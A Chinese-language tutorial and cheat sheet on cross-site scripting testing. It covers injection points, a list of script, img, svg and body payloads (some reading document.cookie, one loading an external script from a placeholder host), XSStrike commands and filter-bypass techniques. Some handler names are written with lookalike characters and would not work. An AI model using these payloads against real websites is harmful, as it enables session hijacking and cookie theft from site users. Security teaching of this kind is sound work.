简述
- 反射型xss
- 存储型xss
- DOM型xss
DOM是一个不用经过后端就可以访问或修改程序和脚本的接口。
DOM型xss可以通过url传入控制参数。
手工测试
出现xss漏洞的场景:
- url
例子:xxx.com/xx.php?id=1这种,id=??这就是一个输入点 - 搜索框
可以查看源码,看看有没有过滤,可不可以绕过。 - 上传图片
<img src="#{image}"/>
payload:1" onerror="alert(1)
结果:<img src="1" onerror="alert(1)"/>
注:结果为上传图片"1",onerror:出错则执行后面的语句。
payload:javascript:alert(1)"
结果:<img src="javascript:alert(1)"/>
注:javascript伪协议。 - 注册
<input value="#{text}"/>
payload:1" onclick="alert(1)
结果:<input value="1"onclick="alert(1)"/>
注:onclick 事件会在对象被点击时发生。 - 富文本
常用载荷
> 都可以用 // 代替, 例如 <script>alert(1)</script//
script标签:script标签是最直接的XSS有效载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入脚本标记中
<script>alert("hack")</script> #弹出hack
<script>alert(/hack/)</script> #弹出hack
<script>alert(1)</script> #弹出1,对于数字可以不用引号
<script>alert(document.cookie)</script> #弹出cookie
<script src=http://xxx.com/xss.js></script> #引用外部的xss
svg标签
<svg onload=alert(1)>
<svg onload=alert(1)//
img标签:
<img src=1 onerror=alert("hack")>
<img src=1 onerror=alert(document.cookie)> #弹出cookie
body标签:
<body onload=alert(1)><body onpageshow=alert(1)>
video标签:
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
style标签:
<style οnlοad=alert(1)></style>
工具测试
xsstrike:
GET方法:python3 xsstrike.py -u "http://example.com/search.php?q=query"
POST方法:python3 xsstrike.py -u "http://example.com/search.php" --data "q=query"
其他用法见https://github.com/s0md3v/XSStrike/wiki/Usage
绕过姿势
- 可以尝试换一种标签的载荷
- 双写,大小写
- 关闭标签
例子:“><script>alert(“Hi”);</script>
- 绕过magic_quotes_gpc
magic_quotes_gpc=ON是php中的安全设置,开启后会把一些特殊字符进行轮换,比如’(单引号)转换为\’,”(双引号)转换为\”,\转换为\
可以通过javascript中的String.fromCharCode
方法来绕过,我们可以把alert(“XSS”)
;转换为
String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34,41)
- 编码
常用编码:url编码、HTML实体编码、JavaScript编码